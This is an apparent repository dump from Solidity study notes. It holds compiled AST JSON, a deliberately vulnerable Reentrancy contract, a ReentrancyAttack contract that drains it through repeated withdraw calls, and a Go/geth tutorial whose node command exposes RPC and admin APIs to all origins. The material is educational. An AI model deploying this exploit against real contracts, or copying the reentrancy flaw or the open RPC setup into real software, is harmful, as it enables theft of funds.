459 | "visibility": "internal"
460 | }
461 | ],
462 | "src": "253:16:0"
463 | },
464 | "payable": false,
465 | "returnParameters": {
466 | "id": 29,
467 | "nodeType": "ParameterList",
468 | "parameters": [],
469 | "src": "288:0:0"
470 | },
471 | "scope": 56,
472 | "src": "232:103:0",
473 | "stateMutability": "nonpayable",
474 | "superFunction": null,
475 | "visibility": "public"
476 | },
477 | {
478 | "body": {
479 | "id": 54,
480 | "nodeType": "Block",
481 | "src": "395:109:0",
482 | "statements": [
483 | {
484 | "assignments": [
485 | 43
486 | ],
487 | "declarations": [
488 | {
489 | "constant": false,
490 | "id": 43,
491 | "name": "upgraded",
492 | "nodeType": "VariableDeclaration",
493 | "scope": 55,
494 | "src": "401:19:0",
495 | "stateVariable": false,
496 | "storageLocation": "default",
497 | "typeDescriptions": {
498 | "typeIdentifier": "t_contract$_Migrations_$56",
499 | "typeString": "contract Migrations"
500 | },
501 | "typeName": {
502 | "contractScope": null,
503 | "id": 42,
504 | "name": "Migrations",
505 | "nodeType": "UserDefinedTypeName",
506 | "referencedDeclaration": 56,
507 | "src": "401:10:0",
508 | "typeDescriptions": {
509 | "typeIdentifier": "t_contract$_Migrations_$56",
510 | "typeString": "contract Migrations"
511 | }
512 | },
513 | "value": null,
514 | "visibility": "internal"
515 | }
516 | ],
517 | "id": 47,
518 | "initialValue": {
519 | "argumentTypes": null,
520 | "arguments": [
521 | {
522 | "argumentTypes": null,
523 | "id": 45,
524 | "name": "new_address",
525 | "nodeType": "Identifier",
526 | "overloadedDeclarations": [],
527 | "referencedDeclaration": 37,
528 | "src": "434:11:0",
529 | "typeDescriptions": {
530 | "typeIdentifier": "t_address",
531 | "typeString": "address"
532 | }
533 | }
534 | ],
535 | "expression": {
536 | "argumentTypes": [
537 | {
538 | "typeIdentifier": "t_address",
539 | "typeString": "address"
540 | }
541 | ],
542 | "id": 44,
543 | "name": "Migrations",
544 | "nodeType": "Identifier",
545 | "overloadedDeclarations": [],
546 | "referencedDeclaration": 56,
547 | "src": "423:10:0",
548 | "typeDescriptions": {
549 | "typeIdentifier": "t_type$_t_contract$_Migrations_$56_$",
550 | "typeString": "type(contract Migrations)"
551 | }
552 | },
553 | "id": 46,
554 | "isConstant": false,
555 | "isLValue": false,
556 | "isPure": false,
557 | "kind": "typeConversion",
558 | "lValueRequested": false,
559 | "names": [],
560 | "nodeType": "FunctionCall",
561 | "src": "423:23:0",
562 | "typeDescriptions": {
563 | "typeIdentifier": "t_contract$_Migrations_$56",
564 | "typeString": "contract Migrations"
565 | }
566 | },
567 | "nodeType": "VariableDeclarationStatement",
568 | "src": "401:45:0"
569 | },
570 | {
571 | "expression": {
572 | "argumentTypes": null,
573 | "arguments": [
574 | {
575 | "argumentTypes": null,
576 | "id": 51,
577 | "name": "last_completed_migration",
578 | "nodeType": "Identifier",
579 | "overloadedDeclarations": [],
580 | "referencedDeclaration": 5,
581 | "src": "474:24:0",
582 | "typeDescriptions": {
583 | "typeIdentifier": "t_uint256",
584 | "typeString": "uint256"
585 | }
586 | }
587 | ],
588 | "expression": {
589 | "argumentTypes": [
590 | {
591 | "typeIdentifier": "t_uint256",
592 | "typeString": "uint256"
593 | }
594 | ],
595 | "expression": {
596 | "argumentTypes": null,
597 | "id": 48,
598 | "name": "upgraded",
599 | "nodeType": "Identifier",
600 | "overloadedDeclarations": [],
601 | "referencedDeclaration": 43,
602 | "src": "452:8:0",
603 | "typeDescriptions": {
604 | "typeIdentifier": "t_contract$_Migrations_$56",
605 | "typeString": "contract Migrations"
606 | }
607 | },
608 | "id": 50,
609 | "isConstant": false,
610 | "isLValue": false,
611 | "isPure": false,
612 | "lValueRequested": false,
613 | "memberName": "setCompleted",
614 | "nodeType": "MemberAccess",
615 | "referencedDeclaration": 35,
616 | "src": "452:21:0",
617 | "typeDescriptions": {
618 | "typeIdentifier": "t_function_external_nonpayable$_t_uint256_$returns$__$",
619 | "typeString": "function (uint256) external"
620 | }
621 | },
622 | "id": 52,
623 | "isConstant": false,
624 | "isLValue": false,
625 | "isPure": false,
626 | "kind": "functionCall",
627 | "lValueRequested": false,
628 | "names": [],
629 | "nodeType": "FunctionCall",
630 | "src": "452:47:0",
631 | "typeDescriptions": {
632 | "typeIdentifier": "t_tuple$__$",
633 | "typeString": "tuple()"
634 | }
635 | },
636 | "id": 53,
637 | "nodeType": "ExpressionStatement",
638 | "src": "452:47:0"
639 | }
640 | ]
641 | },
642 | "documentation": null,
643 | "id": 55,
644 | "implemented": true,
645 | "isConstructor": false,
646 | "isDeclaredConst": false,
647 | "modifiers": [
648 | {
649 | "arguments": null,
650 | "id": 40,
651 | "modifierName": {
652 | "argumentTypes": null,
653 | "id": 39,
654 | "name": "restricted",
655 | "nodeType": "Identifier",
656 | "overloadedDeclarations": [],
657 | "referencedDeclaration": 23,
658 | "src": "384:10:0",
659 | "typeDescriptions": {
660 | "typeIdentifier": "t_modifier$__$",
661 | "typeString": "modifier ()"
662 | }
663 | },
664 | "nodeType": "ModifierInvocation",
665 | "src": "384:10:0"
666 | }
667 | ],
668 | "name": "upgrade",
669 | "nodeType": "FunctionDefinition",
670 | "parameters": {
671 | "id": 38,
672 | "nodeType": "ParameterList",
673 | "parameters": [
674 | {
675 | "constant": false,
676 | "id": 37,
677 | "name": "new_address",
678 | "nodeType": "VariableDeclaration",
679 | "scope": 55,
680 | "src": "356:19:0",
681 | "stateVariable": false,
682 | "storageLocation": "default",
683 | "typeDescriptions": {
684 | "typeIdentifier": "t_address",
685 | "typeString": "address"
686 | },
687 | "typeName": {
688 | "id": 36,
689 | "name": "address",
690 | "nodeType": "ElementaryTypeName",
691 | "src": "356:7:0",
692 | "typeDescriptions": {
693 | "typeIdentifier": "t_address",
694 | "typeString": "address"
695 | }
696 | },
697 | "value": null,
698 | "visibility": "internal"
699 | }
700 | ],
701 | "src": "355:21:0"
702 | },
703 | "payable": false,
704 | "returnParameters": {
705 | "id": 41,
706 | "nodeType": "ParameterList",
707 | "parameters": [],
708 | "src": "395:0:0"
709 | },
710 | "scope": 56,
711 | "src": "339:165:0",
712 | "stateMutability": "nonpayable",
713 | "superFunction": null,
714 | "visibility": "public"
715 | }
716 | ],
717 | "scope": 57,
718 | "src": "26:480:0"
719 | }
720 | ],
721 | "src": "0:507:0"
722 | },
723 | "legacyAST": {
724 | "absolutePath": "/D/solidity/solidity-note/notes/attacks/example01/contracts/Migrations.sol",
725 | "exportedSymbols": {
726 | "Migrations": [
727 | 56
728 | ]
729 | },
730 | "id": 57,
731 | "nodeType": "SourceUnit",
732 | "nodes": [
733 | {
734 | "id": 1,
735 | "literals": [
736 | "solidity",
737 | "^",
738 | "0.4",
739 | ".23"
740 | ],
741 | "nodeType": "PragmaDirective",
742 | "src": "0:24:0"
743 | },
744 | {
745 | "baseContracts": [],
746 | "contractDependencies": [],
747 | "contractKind": "contract",
748 | "documentation": null,
749 | "fullyImplemented": true,
750 | "id": 56,
751 | "linearizedBaseContracts": [
752 | 56
753 | ],
754 | "name": "Migrations",
755 | "nodeType": "ContractDefinition",
756 | "nodes": [
757 | {
758 | "constant": false,
759 | "id": 3,
760 | "name": "owner",
761 | "nodeType": "VariableDeclaration",
762 | "scope": 56,
763 | "src": "50:20:0",
764 | "stateVariable": true,
765 | "storageLocation": "default",
766 | "typeDescriptions": {
767 | "typeIdentifier": "t_address",
768 | "typeString": "address"
769 | },
770 | "typeName": {
771 | "id": 2,
772 | "name": "address",
773 | "nodeType": "ElementaryTypeName",
774 | "src": "50:7:0",
775 | "typeDescriptions": {
776 | "typeIdentifier": "t_address",
777 | "typeString": "address"
778 | }
779 | },
780 | "value": null,
781 | "visibility": "public"
782 | },
783 | {
784 | "constant": false,
785 | "id": 5,
786 | "name": "last_completed_migration",
787 | "nodeType": "VariableDeclaration",
788 | "scope": 56,
789 | "src": "74:36:0",
790 | "stateVariable": true,
791 | "storageLocation": "default",
792 | "typeDescriptions": {
793 | "typeIdentifier": "t_uint256",
794 | "typeString": "uint256"
795 | },
796 | "typeName": {
797 | "id": 4,
798 | "name": "uint",
799 | "nodeType": "ElementaryTypeName",
800 | "src": "74:4:0",
801 | "typeDescriptions": {
802 | "typeIdentifier": "t_uint256",
803 | "typeString": "uint256"
804 | }
805 | },
806 | "value": null,
807 | "visibility": "public"
808 | },
809 | {
810 | "body": {
811 | "id": 13,
812 | "nodeType": "Block",
813 | "src": "136:29:0",
814 | "statements": [
815 | {
816 | "expression": {
817 | "argumentTypes": null,
818 | "id": 11,
819 | "isConstant": false,
820 | "isLValue": false,
821 | "isPure": false,
822 | "lValueRequested": false,
823 | "leftHandSide": {
824 | "argumentTypes": null,
825 | "id": 8,
826 | "name": "owner",
827 | "nodeType": "Identifier",
828 | "overloadedDeclarations": [],
829 | "referencedDeclaration": 3,
830 | "src": "142:5:0",
831 | "typeDescriptions": {
832 | "typeIdentifier": "t_address",
833 | "typeString": "address"
834 | }
835 | },
836 | "nodeType": "Assignment",
837 | "operator": "=",
838 | "rightHandSide": {
839 | "argumentTypes": null,
840 | "expression": {
841 | "argumentTypes": null,
842 | "id": 9,
843 | "name": "msg",
844 | "nodeType": "Identifier",
845 | "overloadedDeclarations": [],
846 | "referencedDeclaration": 230,
847 | "src": "150:3:0",
848 | "typeDescriptions": {
849 | "typeIdentifier": "t_magic_message",
850 | "typeString": "msg"
851 | }
852 | },
853 | "id": 10,
854 | "isConstant": false,
855 | "isLValue": false,
856 | "isPure": false,
857 | "lValueRequested": false,
858 | "memberName": "sender",
859 | "nodeType": "MemberAccess",
860 | "referencedDeclaration": null,
861 | "src": "150:10:0",
862 | "typeDescriptions": {
863 | "typeIdentifier": "t_address",
864 | "typeString": "address"
865 | }
866 | },
867 | "src": "142:18:0",
868 | "typeDescriptions": {
869 | "typeIdentifier": "t_address",
870 | "typeString": "address"
871 | }
872 | },
873 | "id": 12,
874 | "nodeType": "ExpressionStatement",
875 | "src": "142:18:0"
876 | }
877 | ]
878 | },
879 | "documentation": null,
880 | "id": 14,
881 | "implemented": true,
882 | "isConstructor": true,
883 | "isDeclaredConst": false,
884 | "modifiers": [],
885 | "name": "",
886 | "nodeType": "FunctionDefinition",
887 | "parameters": {
888 | "id": 6,
889 | "nodeType": "ParameterList",
890 | "parameters": [],
891 | "src": "126:2:0"
892 | },
893 | "payable": false,
894 | "returnParameters": {
895 | "id": 7,
896 | "nodeType": "ParameterList",
897 | "parameters": [],
898 | "src": "136:0:0"
899 | },
900 | "scope": 56,
901 | "src": "115:50:0",
902 | "stateMutability": "nonpayable",
903 | "superFunction": null,
904 | "visibility": "public"
905 | },
906 | {
907 | "body": {
908 | "id": 22,
909 | "nodeType": "Block",
910 | "src": "191:37:0",
911 | "statements": [
912 | {
913 | "condition": {
914 | "argumentTypes": null,
915 | "commonType": {
916 | "typeIdentifier": "t_address",
917 | "typeString": "address"
918 | },
919 | "id": 19,
920 | "isConstant": false,
921 | "isLValue": false,
922 | "isPure": false,
923 | "lValueRequested": false,
924 | "leftExpression": {
925 | "argumentTypes": null,
926 | "expression": {
927 | "argumentTypes": null,
928 | "id": 16,
929 | "name": "msg",
930 | "nodeType": "Identifier",
931 | "overloadedDeclarations": [],
932 | "referencedDeclaration": 230,
933 | "src": "201:3:0",
934 | "typeDescriptions": {
935 | "typeIdentifier": "t_magic_message",
936 | "typeString": "msg"
937 | }
938 | },
939 | "id": 17,
940 | "isConstant": false,
941 | "isLValue": false,
942 | "isPure": false,
943 | "lValueRequested": false,
944 | "memberName": "sender",
945 | "nodeType": "MemberAccess",
946 | "referencedDeclaration": null,
947 | "src": "201:10:0",
948 | "typeDescriptions": {
949 | "typeIdentifier": "t_address",
950 | "typeString": "address"
951 | }
952 | },
953 | "nodeType": "BinaryOperation",
954 | "operator": "==",
955 | "rightExpression": {
956 | "argumentTypes": null,
957 | "id": 18,
958 | "name": "owner",
959 | "nodeType": "Identifier",
960 | "overloadedDeclarations": [],
961 | "referencedDeclaration": 3,
962 | "src": "215:5:0",
963 | "typeDescriptions": {
964 | "typeIdentifier": "t_address",
965 | "typeString": "address"
966 | }
967 | },
968 | "src": "201:19:0",
969 | "typeDescriptions": {
970 | "typeIdentifier": "t_bool",
971 | "typeString": "bool"
972 | }
973 | },
974 | "falseBody": null,
975 | "id": 21,
976 | "nodeType": "IfStatement",
977 | "src": "197:26:0",
978 | "trueBody": {
979 | "id": 20,
980 | "nodeType": "PlaceholderStatement",
981 | "src": "222:1:0"
982 | }
983 | }
984 | ]
985 | },
986 | "documentation": null,
987 | "id": 23,
988 | "name": "restricted",
989 | "nodeType": "ModifierDefinition",
990 | "parameters": {
991 | "id": 15,
992 | "nodeType": "ParameterList",
993 | "parameters": [],
994 | "src": "188:2:0"
995 | },
996 | "src": "169:59:0",
997 | "visibility": "internal"
998 | },
999 | {
1000 | "body": {
1001 | "id": 34,
1002 | "nodeType": "Block",
1003 | "src": "288:47:0",
1004 | "statements": [
1005 | {
1006 | "expression": {
1007 | "argumentTypes": null,
1008 | "id": 32,
1009 | "isConstant": false,
1010 | "isLValue": false,
1011 | "isPure": false,
1012 | "lValueRequested": false,
1013 | "leftHandSide": {
1014 | "argumentTypes": null,
1015 | "id": 30,
1016 | "name": "last_completed_migration",
1017 | "nodeType": "Identifier",
1018 | "overloadedDeclarations": [],
1019 | "referencedDeclaration": 5,
1020 | "src": "294:24:0",
1021 | "typeDescriptions": {
1022 | "typeIdentifier": "t_uint256",
1023 | "typeString": "uint256"
1024 | }
1025 | },
1026 | "nodeType": "Assignment",
1027 | "operator": "=",
1028 | "rightHandSide": {
1029 | "argumentTypes": null,
1030 | "id": 31,
1031 | "name": "completed",
1032 | "nodeType": "Identifier",
1033 | "overloadedDeclarations": [],
1034 | "referencedDeclaration": 25,
1035 | "src": "321:9:0",
1036 | "typeDescriptions": {
1037 | "typeIdentifier": "t_uint256",
1038 | "typeString": "uint256"
1039 | }
1040 | },
1041 | "src": "294:36:0",
1042 | "typeDescriptions": {
1043 | "typeIdentifier": "t_uint256",
1044 | "typeString": "uint256"
1045 | }
1046 | },
1047 | "id": 33,
1048 | "nodeType": "ExpressionStatement",
1049 | "src": "294:36:0"
1050 | }
1051 | ]
1052 | },
1053 | "documentation": null,
1054 | "id": 35,
1055 | "implemented": true,
1056 | "isConstructor": false,
1057 | "isDeclaredConst": false,
1058 | "modifiers": [
1059 | {
1060 | "arguments": null,
1061 | "id": 28,
1062 | "modifierName": {
1063 | "argumentTypes": null,
1064 | "id": 27,
1065 | "name": "restricted",
1066 | "nodeType": "Identifier",
1067 | "overloadedDeclarations": [],
1068 | "referencedDeclaration": 23,
1069 | "src": "277:10:0",
1070 | "typeDescriptions": {
1071 | "typeIdentifier": "t_modifier$__$",
1072 | "typeString": "modifier ()"
1073 | }
1074 | },
1075 | "nodeType": "ModifierInvocation",
1076 | "src": "277:10:0"
1077 | }
1078 | ],
1079 | "name": "setCompleted",
1080 | "nodeType": "FunctionDefinition",
1081 | "parameters": {
1082 | "id": 26,
1083 | "nodeType": "ParameterList",
1084 | "parameters": [
1085 | {
1086 | "constant": false,
1087 | "id": 25,
1088 | "name": "completed",
1089 | "nodeType": "VariableDeclaration",
1090 | "scope": 35,
1091 | "src": "254:14:0",
1092 | "stateVariable": false,
1093 | "storageLocation": "default",
1094 | "typeDescriptions": {
1095 | "typeIdentifier": "t_uint256",
1096 | "typeString": "uint256"
1097 | },
1098 | "typeName": {
1099 | "id": 24,
1100 | "name": "uint",
1101 | "nodeType": "ElementaryTypeName",
1102 | "src": "254:4:0",
1103 | "typeDescriptions": {
1104 | "typeIdentifier": "t_uint256",
1105 | "typeString": "uint256"
1106 | }
1107 | },
1108 | "value": null,
1109 | "visibility": "internal"
1110 | }
1111 | ],
1112 | "src": "253:16:0"
1113 | },
1114 | "payable": false,
1115 | "returnParameters": {
1116 | "id": 29,
1117 | "nodeType": "ParameterList",
1118 | "parameters": [],
1119 | "src": "288:0:0"
1120 | },
1121 | "scope": 56,
1122 | "src": "232:103:0",
1123 | "stateMutability": "nonpayable",
1124 | "superFunction": null,
1125 | "visibility": "public"
1126 | },
1127 | {
1128 | "body": {
1129 | "id": 54,
1130 | "nodeType": "Block",
1131 | "src": "395:109:0",
1132 | "statements": [
1133 | {
1134 | "assignments": [
1135 | 43
1136 | ],
1137 | "declarations": [
1138 | {
1139 | "constant": false,
1140 | "id": 43,
1141 | "name": "upgraded",
1142 | "nodeType": "VariableDeclaration",
1143 | "scope": 55,
1144 | "src": "401:19:0",
1145 | "stateVariable": false,
1146 | "storageLocation": "default",
1147 | "typeDescriptions": {
1148 | "typeIdentifier": "t_contract$_Migrations_$56",
1149 | "typeString": "contract Migrations"
1150 | },
1151 | "typeName": {
1152 | "contractScope": null,
1153 | "id": 42,
1154 | "name": "Migrations",
1155 | "nodeType": "UserDefinedTypeName",
1156 | "referencedDeclaration": 56,
1157 | "src": "401:10:0",
1158 | "typeDescriptions": {
1159 | "typeIdentifier": "t_contract$_Migrations_$56",
1160 | "typeString": "contract Migrations"
1161 | }
1162 | },
1163 | "value": null,
1164 | "visibility": "internal"
1165 | }
1166 | ],
1167 | "id": 47,
1168 | "initialValue": {
1169 | "argumentTypes": null,
1170 | "arguments": [
1171 | {
1172 | "argumentTypes": null,
1173 | "id": 45,
1174 | "name": "new_address",
1175 | "nodeType": "Identifier",
1176 | "overloadedDeclarations": [],
1177 | "referencedDeclaration": 37,
1178 | "src": "434:11:0",
1179 | "typeDescriptions": {
1180 | "typeIdentifier": "t_address",
1181 | "typeString": "address"
1182 | }
1183 | }
1184 | ],
1185 | "expression": {
1186 | "argumentTypes": [
1187 | {
1188 | "typeIdentifier": "t_address",
1189 | "typeString": "address"
1190 | }
1191 | ],
1192 | "id": 44,
1193 | "name": "Migrations",
1194 | "nodeType": "Identifier",
1195 | "overloadedDeclarations": [],
1196 | "referencedDeclaration": 56,
1197 | "src": "423:10:0",
1198 | "typeDescriptions": {
1199 | "typeIdentifier": "t_type$_t_contract$_Migrations_$56_$",
1200 | "typeString": "type(contract Migrations)"
1201 | }
1202 | },
1203 | "id": 46,
1204 | "isConstant": false,
1205 | "isLValue": false,
1206 | "isPure": false,
1207 | "kind": "typeConversion",
1208 | "lValueRequested": false,
1209 | "names": [],
1210 | "nodeType": "FunctionCall",
1211 | "src": "423:23:0",
1212 | "typeDescriptions": {
1213 | "typeIdentifier": "t_contract$_Migrations_$56",
1214 | "typeString": "contract Migrations"
1215 | }
1216 | },
1217 | "nodeType": "VariableDeclarationStatement",
1218 | "src": "401:45:0"
1219 | },
1220 | {
1221 | "expression": {
1222 | "argumentTypes": null,
1223 | "arguments": [
1224 | {
1225 | "argumentTypes": null,
1226 | "id": 51,
1227 | "name": "last_completed_migration",
1228 | "nodeType": "Identifier",
1229 | "overloadedDeclarations": [],
1230 | "referencedDeclaration": 5,
1231 | "src": "474:24:0",
1232 | "typeDescriptions": {
1233 | "typeIdentifier": "t_uint256",
1234 | "typeString": "uint256"
1235 | }
1236 | }
1237 | ],
1238 | "expression": {
1239 | "argumentTypes": [
1240 | {
1241 | "typeIdentifier": "t_uint256",
1242 | "typeString": "uint256"
1243 | }
1244 | ],
1245 | "expression": {
1246 | "argumentTypes": null,
1247 | "id": 48,
1248 | "name": "upgraded",
1249 | "nodeType": "Identifier",
1250 | "overloadedDeclarations": [],
1251 | "referencedDeclaration": 43,
1252 | "src": "452:8:0",
1253 | "typeDescriptions": {
1254 | "typeIdentifier": "t_contract$_Migrations_$56",
1255 | "typeString": "contract Migrations"
1256 | }
1257 | },
1258 | "id": 50,
1259 | "isConstant": false,
1260 | "isLValue": false,
1261 | "isPure": false,
1262 | "lValueRequested": false,
1263 | "memberName": "setCompleted",
1264 | "nodeType": "MemberAccess",
1265 | "referencedDeclaration": 35,
1266 | "src": "452:21:0",
1267 | "typeDescriptions": {
1268 | "typeIdentifier": "t_function_external_nonpayable$_t_uint256_$returns$__$",
1269 | "typeString": "function (uint256) external"
1270 | }
1271 | },
1272 | "id": 52,
1273 | "isConstant": false,
1274 | "isLValue": false,
1275 | "isPure": false,
1276 | "kind": "functionCall",
1277 | "lValueRequested": false,
1278 | "names": [],
1279 | "nodeType": "FunctionCall",
1280 | "src": "452:47:0",
1281 | "typeDescriptions": {
1282 | "typeIdentifier": "t_tuple$__$",
1283 | "typeString": "tuple()"
1284 | }
1285 | },
1286 | "id": 53,
1287 | "nodeType": "ExpressionStatement",
1288 | "src": "452:47:0"
1289 | }
1290 | ]
1291 | },
1292 | "documentation": null,
1293 | "id": 55,
1294 | "implemented": true,
1295 | "isConstructor": false,
1296 | "isDeclaredConst": false,
1297 | "modifiers": [
1298 | {
1299 | "arguments": null,
1300 | "id": 40,
1301 | "modifierName": {
1302 | "argumentTypes": null,
1303 | "id": 39,
1304 | "name": "restricted",
1305 | "nodeType": "Identifier",
1306 | "overloadedDeclarations": [],
1307 | "referencedDeclaration": 23,
1308 | "src": "384:10:0",
1309 | "typeDescriptions": {
1310 | "typeIdentifier": "t_modifier$__$",
1311 | "typeString": "modifier ()"
1312 | }
1313 | },
1314 | "nodeType": "ModifierInvocation",
1315 | "src": "384:10:0"
1316 | }
1317 | ],
1318 | "name": "upgrade",
1319 | "nodeType": "FunctionDefinition",
1320 | "parameters": {
1321 | "id": 38,
1322 | "nodeType": "ParameterList",
1323 | "parameters": [
1324 | {
1325 | "constant": false,
1326 | "id": 37,
1327 | "name": "new_address",
1328 | "nodeType": "VariableDeclaration",
1329 | "scope": 55,
1330 | "src": "356:19:0",
1331 | "stateVariable": false,
1332 | "storageLocation": "default",
1333 | "typeDescriptions": {
1334 | "typeIdentifier": "t_address",
1335 | "typeString": "address"
1336 | },
1337 | "typeName": {
1338 | "id": 36,
1339 | "name": "address",
1340 | "nodeType": "ElementaryTypeName",
1341 | "src": "356:7:0",
1342 | "typeDescriptions": {
1343 | "typeIdentifier": "t_address",
1344 | "typeString": "address"
1345 | }
1346 | },
1347 | "value": null,
1348 | "visibility": "internal"
1349 | }
1350 | ],
1351 | "src": "355:21:0"
1352 | },
1353 | "payable": false,
1354 | "returnParameters": {
1355 | "id": 41,
1356 | "nodeType": "ParameterList",
1357 | "parameters": [],
1358 | "src": "395:0:0"
1359 | },
1360 | "scope": 56,
1361 | "src": "339:165:0",
1362 | "stateMutability": "nonpayable",
1363 | "superFunction": null,
1364 | "visibility": "public"
1365 | }
1366 | ],
1367 | "scope": 57,
1368 | "src": "26:480:0"
1369 | }
1370 | ],
1371 | "src": "0:507:0"
1372 | },
1373 | "compiler": {
1374 | "name": "solc",
1375 | "version": "0.4.24+commit.e67f0147.Emscripten.clang"
1376 | },
1377 | "networks": {},
1378 | "schemaVersion": "2.0.0",
1379 | "updatedAt": "2018-06-07T10:06:18.439Z"
1380 | }
--------------------------------------------------------------------------------
/notes/attacks/example01/contracts/Migrations.sol:
--------------------------------------------------------------------------------
1 | pragma solidity ^0.4.23;
2 |
3 | contract Migrations {
4 | address public owner;
5 | uint public last_completed_migration;
6 |
7 | constructor() public {
8 | owner = msg.sender;
9 | }
10 |
11 | modifier restricted() {
12 | if (msg.sender == owner) _;
13 | }
14 |
15 | function setCompleted(uint completed) public restricted {
16 | last_completed_migration = completed;
17 | }
18 |
19 | function upgrade(address new_address) public restricted {
20 | Migrations upgraded = Migrations(new_address);
21 | upgraded.setCompleted(last_completed_migration);
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/notes/attacks/example01/contracts/Reentrancy.sol:
--------------------------------------------------------------------------------
1 | pragma solidity ^0.4.23;
2 |
3 |
4 | contract Reentrancy {
5 | address public owner;
6 | mapping (address => uint256) public balances;
7 |
8 | uint256 amountValue = 0;
9 |
10 | constructor() public {
11 | owner = msg.sender;
12 | }
13 |
14 | function balanceOf(address addr) public view returns(uint256) {
15 | return balances[addr];
16 | }
17 |
18 | function withdraw() public {
19 | // At this point, the caller's code is executed, and can call withdraw again
20 | require(msg.sender.call.value(balances[msg.sender])());
21 | balances[msg.sender] = 0;
22 | }
23 |
24 | function put() public payable {
25 | balances[msg.sender] += msg.value;
26 | }
27 |
28 | function () external payable {
29 | balances[msg.sender] += msg.value;
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/notes/attacks/example01/contracts/ReentrancyAttack.sol:
--------------------------------------------------------------------------------
1 | pragma solidity ^0.4.23;
2 |
3 | import "./Reentrancy.sol";
4 |
5 | contract ReentrancyAttack {
6 |
7 | address public owner;
8 |
9 | Reentrancy public token;
10 |
11 | constructor(address _token) public {
12 | owner = msg.sender;
13 | token = Reentrancy(_token);
14 | }
15 |
16 | function kill () public {
17 | require(msg.sender == owner);
18 | selfdestruct(msg.sender);
19 | }
20 |
21 | function put() public payable {
22 | token.put.value(msg.value)();
23 | token.withdraw();
24 | }
25 |
26 | function () external payable {
27 | if (address(token).balance >= msg.value) {
28 | token.withdraw();
29 | }
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/notes/attacks/example01/migrations/1_initial_migration.js:
--------------------------------------------------------------------------------
1 | var Migrations = artifacts.require("./Migrations.sol");
2 |
3 | module.exports = function(deployer) {
4 | deployer.deploy(Migrations);
5 | };
6 |
--------------------------------------------------------------------------------
/notes/attacks/example01/migrations/2_deploy_reentrancy.js:
--------------------------------------------------------------------------------
1 | var Reentrancy = artifacts.require("Reentrancy");
2 | var ReentrancyAttack = artifacts.require("ReentrancyAttack");
3 |
4 | module.exports = function(deployer) {
5 |
6 | deployer.deploy(Reentrancy).then(() =>
7 | deployer.deploy(ReentrancyAttack, Reentrancy.address, {from: "0xc5fdf4076b8f3a5357c5e395ab970b5b54098fef"})
8 | );
9 | };
10 |
--------------------------------------------------------------------------------
/notes/attacks/example01/truffle-config.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | // See
3 | // to customize your Truffle configuration!
4 | };
5 |
--------------------------------------------------------------------------------
/notes/attacks/example01/truffle.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | // See
3 | // to customize your Truffle configuration!
4 | };
5 |
--------------------------------------------------------------------------------
/notes/golang/api.md:
--------------------------------------------------------------------------------
1 | # Golang Call Smart Contract
2 |
3 | ## Generate smart contract api
4 |
5 | - 安装 go-ethereum
6 | ```bash
7 | # golang & solc install 略
8 |
9 | # 安装 ethereum 到 GOPATH 目录下
10 | go get github.com/ethereum/go-ethereum
11 | # 编译 geth
12 | go install github.com/ethereum/go-ethereum/cmd/geth
13 | # 编译 abigen
14 | go install github.com/ethereum/go-ethereum/cmd/abigen
15 | ```
16 |
17 | - 准备测试智能合约 `BoreyToken.sol`
18 | ```sol
19 | pragma solidity ^0.4.23;
20 |
21 | contract BoreyToken {
22 | event Transfer(address indexed _from, address indexed _to, uint256 _value);
23 |
24 | address public owner;
25 | mapping (address => uint) public balanceOf;
26 |
27 | constructor(uint256 supply) public {
28 | owner = msg.sender;
29 | balanceOf[msg.sender] = supply;
30 | }
31 |
32 | function transfer(address _to, uint256 _value) public returns (bool) {
33 | require(_to != address(0));
34 | require(_value <= balanceOf[msg.sender]);
35 |
36 | balanceOf[msg.sender] = balanceOf[msg.sender] - _value;
37 | balanceOf[_to] = balanceOf[_to] + _value;
38 | emit Transfer(msg.sender, _to, _value);
39 | return true;
40 | }
41 | }
42 | ```
43 |
44 | - abigen
45 |
46 | ```bash
47 | # abigen help
48 | prod@ubuntu:~/solidity/go$ abigen -h
49 | Usage of abigen:
50 | -abi string
51 | Path to the Ethereum contract ABI json to bind
52 | -bin string
53 | Path to the Ethereum contract bytecode (generate deploy method)
54 | -exc string
55 | Comma separated types to exclude from binding
56 | -lang string
57 | Destination language for the bindings (go, java, objc) (default "go")
58 | -out string
59 | Output file for the generated binding (default = stdout)
60 | -pkg string
61 | Package name to generate the binding into
62 | -sol string
63 | Path to the Ethereum contract Solidity source to build and bind
64 | -solc string
65 | Solidity compiler to use if source builds are requested (default "solc")
66 | -type string
67 | Struct name for the binding (default = package name)
68 |
69 | # abigen 生成 boreytoken.go
70 | prod@ubuntu:~/solidity/go$ abigen --sol BoreyToken.sol --pkg token --out boreytoken.go
71 | prod@ubuntu:~/solidity/go$
72 | prod@ubuntu:~/solidity/go$ ls
73 | boreytoken.go BoreyToken.sol
74 |
75 | ```
76 | - 智能合约的API 文件 [boreytoken.go](./golang.sol/demo/token/boreytoken.go)
77 |
78 |
79 | ## Deploy contract with golang code
80 |
81 | - 运行 geth 命令
82 | ```bash
83 | # 1、geth 初始化: 略, 见geth私链部署
84 |
85 | # 2、启动websock 为后续 event 监听提供准备
86 | geth --ws --wsaddr 0.0.0.0 --wsport 8641 --wsorigins "*" --rpc --rpcport "8541" --rpcaddr "0.0.0.0" --datadir node1/data --port "30301" --rpccorsdomain "*" --rpcapi "personal,db,eth,net,web3,admin,txpool,miner" --networkid 1024 --nodiscover
87 | ```
88 |
89 | - 部署代码
90 | ```golang
91 | package main
92 |
93 | import (
94 | "context"
95 | "log"
96 | "math/big"
97 | "time"
98 |
99 | "github.com/ethereum/go-ethereum"
100 | "github.com/ethereum/go-ethereum/accounts/abi/bind"
101 | "github.com/ethereum/go-ethereum/accounts/keystore"
102 | "github.com/ethereum/go-ethereum/crypto"
103 | "github.com/ethereum/go-ethereum/ethclient"
104 | "golang.sol/demo/token"
105 | )
106 |
107 | // Keystore & Password, 钱包中有一定余额的ETH用于部署合约的GAS消耗
